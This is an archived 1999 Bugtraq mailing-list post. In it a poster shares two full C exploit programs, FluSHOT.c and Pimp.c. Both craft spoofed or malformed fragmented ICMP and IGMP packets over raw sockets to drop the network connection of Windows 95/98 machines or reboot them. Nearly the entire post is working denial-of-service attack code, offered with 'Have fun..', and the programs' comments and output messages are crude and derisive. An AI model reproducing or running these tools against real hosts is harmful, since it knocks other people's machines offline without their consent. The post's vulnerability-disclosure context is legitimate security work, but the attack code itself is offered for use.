[11024] in bugtraq

home help back first fref pref prev next nref lref last post

About IGMP and another exploit for Windows95x/98x

daemon@ATHENA.MIT.EDU (Hector Leon)
Thu Jul 15 00:40:59 1999

Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding:  quoted-printable
Message-Id:  <003a01becda0$424ebb30$1311b0cf@DARKSTATION>
Date:         Tue, 13 Jul 1999 21:26:17 -0500
Reply-To: Hector Leon <darksun@COMPUTER-MANIACS.COM>
From: Hector Leon <darksun@COMPUTER-MANIACS.COM>
X-To:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM

I got two exploit and test it...

- The first one is Flushot by DarkShow. This exploit can drop the =
network connection in windows 95 and 98(First Edition)

- The other one is Pimp by Rob Mosher, this exploit can reboot =
Windows98se

I have Rethat linux 5.0 installed....

Now... the exploits..

Sorry.. my english is a shit...

Have fun..

----------[FluSHOT.c START CUT =
HERE]--------------------------------------------------
/* Lags CPU Made By DarkShadow from The flu Hacking Group

   Kills Win95-98 machines

 */



#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

void banner(void) {

       =20

   printf("Remote Flushot v 1.0\n\n");

  =20

  =20

   printf("\n\n");

}

void usage(const char *progname) {

   printf(" usage:\n");

   printf("./flushot [Spoofed IP] [Destination IP] [# of FLushot to =
Send]\n",progname);

   printf(" [Spoofed IP] :  ex: 205.56.78.0\n");

   printf(" [Destination IP] :  ex: 201.12.3.76\n");

   printf(" [# of FLushot to Send]  : 100\n");

   printf("The Flu Hacking Group (c)\n");

   printf("DarkShadow PlimoMan Hack The Planet\n");

}

int resolve( const char *name, unsigned int port, struct sockaddr_in =
*addr ) {

   struct hostent *host;

   memset(addr,0,sizeof(struct sockaddr_in));

   addr->sin_family =3D AF_INET;

   addr->sin_addr.s_addr =3D inet_addr(name);

   if (addr->sin_addr.s_addr =3D=3D -1) {

      if (( host =3D gethostbyname(name) ) =3D=3D NULL )  {

         fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);

         return(-1);

      }

      addr->sin_family =3D host->h_addrtype;

      memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);

   }

   addr->sin_port =3D htons(port);

   return(0);

}

unsigned short in_cksum(addr, len)

    u_short *addr;

    int len;

{

    register int nleft =3D len;

    register u_short *w =3D addr;

    register int sum =3D 0;

    u_short answer =3D 0;



    while (nleft > 1)  {

        sum +=3D *w++;

        nleft -=3D 2;

    }



    if (nleft =3D=3D 1) {

        *(u_char *)(&answer) =3D *(u_char *)w ;

        sum +=3D answer;

    }



    sum =3D (sum >> 16) + (sum & 0xffff);

    sum +=3D (sum >> 16);                =20

    answer =3D ~sum;                     =20

    return(answer);

}

int send_winbomb(int socket,

                 unsigned long spoof_addr,

                 struct sockaddr_in *dest_addr) {

   unsigned char  *packet;

   struct iphdr   *ip;

   struct icmphdr *icmp;

   int rc;



   packet =3D (unsigned char *)malloc(sizeof(struct iphdr) +

                                    sizeof(struct icmphdr) + 8);

   ip =3D (struct iphdr *)packet;

   icmp =3D (struct icmphdr *)(packet + sizeof(struct iphdr));

   memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);

   ip->ihl      =3D 5;

   ip->version  =3D 4;

// ip->tos      =3D 2;

   ip->id       =3D htons(1234);

   ip->frag_off |=3D htons(0x2000);

// ip->tot_len  =3D 0;

   ip->ttl      =3D 30;

   ip->protocol =3D IPPROTO_ICMP;

   ip->saddr    =3D spoof_addr;

   ip->daddr    =3D dest_addr->sin_addr.s_addr;

   ip->check    =3D in_cksum(ip, sizeof(struct iphdr));



   icmp->type              =3D 12;

   icmp->code              =3D 0;

   icmp->checksum          =3D in_cksum(icmp,sizeof(struct icmphdr) + =
1);

   if (sendto(socket,

              packet,

              sizeof(struct iphdr) +

              sizeof(struct icmphdr) + 1,0,

              (struct sockaddr *)dest_addr,

              sizeof(struct sockaddr)) =3D=3D -1) { return(-1); }

   ip->tot_len  =3D htons(sizeof(struct iphdr) + sizeof(struct icmphdr) =
+ 8);

   ip->frag_off =3D htons(8 >> 3);

   ip->frag_off |=3D htons(0x2000);

   ip->check    =3D in_cksum(ip, sizeof(struct iphdr));

   icmp->type =3D 0;

   icmp->code =3D 0;

   icmp->checksum =3D 0;

   if (sendto(socket,

              packet,

              sizeof(struct iphdr) +

              sizeof(struct icmphdr) + 8,0,

              (struct sockaddr *)dest_addr,

              sizeof(struct sockaddr)) =3D=3D -1) { return(-1); }

   free(packet);

   return(0);

}

int main(int argc, char * *argv) {

   struct sockaddr_in dest_addr;

   unsigned int i,sock;

   unsigned long src_addr;

   banner();

   if ((argc !=3D 4)) {

      usage(argv[0]);

      return(-1);

   }



   if((sock =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {

      fprintf(stderr,"ERROR: Opening raw socket.\n");

      return(-1);

   }



   if (resolve(argv[1],0,&dest_addr) =3D=3D -1) { return(-1); }

   src_addr =3D dest_addr.sin_addr.s_addr;

   if (resolve(argv[2],0,&dest_addr) =3D=3D -1) { return(-1); }

   printf("Status: Connected....packets sent.\n",argv[0]);

   for (i =3D 0;i < atoi(argv[3]);i++) {

      if (send_winbomb(sock,

                       src_addr,

                       &dest_addr) =3D=3D -1) {

         fprintf(stderr,"ERROR: Unable to Connect To luser.\n");

         return(-1);

      }

      usleep(10000);

   }

}


----------[FluSHOT.c END CUT =
HERE]--------------------------------------------------
----------[Pimp.c START CUT =
HERE]--------------------------------------------------
/*
** pimp.c 6/4/99 by Rob Mosher: nyt@deadpig.org
** exploits bug in m$'s ip stack
** rewrite by nyt@EFnet
** bug found by klepto
** usage: pimp <host>
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <sys/socket.h>

struct igmp
{
        unsigned char igmp_type;
        unsigned char igmp_code;
        unsigned short igmp_cksum;
        struct in_addr igmp_group;
};

#define ERROR(a) {printf("ERROR: %s\n", a);exit(-1);}

u_long  resolve(char *);

int main(int argc, char *argv[])
{
 int nsock, ctr;
 char *pkt, *data;
 struct ip *nip;
 struct igmp *nigmp;
 struct sockaddr_in s_addr_in;

 setvbuf(stdout, NULL, _IONBF, 0);

 printf("pimp.c by nyt\n");

 if(argc !=3D 2)
  ERROR("usage: pimp <host>");

 if((nsock =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) =3D=3D -1)
  ERROR("could not create raw socket");

 pkt =3D malloc(1500);
 if(!pkt)
  ERROR("could not allocate memory");

 memset(&s_addr_in, 0, sizeof(s_addr_in));
 memset(pkt, 0, 1500);

 nip =3D (struct ip *) pkt;
 nigmp =3D (struct igmp *) (pkt + sizeof(struct ip));
 data =3D (char *)(pkt + sizeof(struct ip) + sizeof(struct igmp));
 memset(data, 'A', 1500-(sizeof(struct ip) + sizeof(struct igmp)));

 s_addr_in.sin_addr.s_addr =3D resolve(argv[1]);

 nip->ip_v  =3D 4;
 nip->ip_hl  =3D 5;
 nip->ip_tos  =3D 0;
 nip->ip_id  =3D 69;
 nip->ip_ttl  =3D 255;
 nip->ip_p  =3D IPPROTO_IGMP;
 nip->ip_sum  =3D 0;
 nip->ip_dst.s_addr =3D s_addr_in.sin_addr.s_addr;
 nip->ip_src.s_addr =3D 2147100000;
 nigmp->igmp_type =3D 2;
 nigmp->igmp_code =3D 31;
 nigmp->igmp_cksum =3D 0;

 inet_aton("128.1.1.1", &nigmp->igmp_group);

 printf("pimpin' dem trick-ass-bitches");

 for(ctr =3D 0;ctr < 15;ctr++)
 {
  printf(".");
  nip->ip_len  =3D 1500;
  nip->ip_off  =3D htons(IP_MF);
  sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  nip->ip_off  =3D htons(1480/8)|htons(IP_MF);
  sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  nip->ip_off  =3D htons(5920/8)|htons(IP_MF);
  sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  nip->ip_len   =3D 831;
  nip->ip_off  =3D htons(7400/8);
  sendto(nsock, pkt, 831, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

  usleep(500000);
 }

 printf("*slap* *slap* bitch, who yo daddy\n");
 shutdown(nsock, 2);
 close(nsock);
}

u_long resolve(char *host)
{
        struct hostent *he;
        u_long ret;

        if(!(he =3D gethostbyname(host)))
        {
                herror("gethostbyname()");
                exit(-1);
        }
        memcpy(&ret, he->h_addr, sizeof(he->h_addr));
        return ret;
}

----------[Pimp.c END CUT =
HERE]--------------------------------------------------


--             Hector Leon             --
darksun@computer-maniacs.com
--CiMOS Computers Rep. Dom.--

home help back first fref pref prev next nref lref last post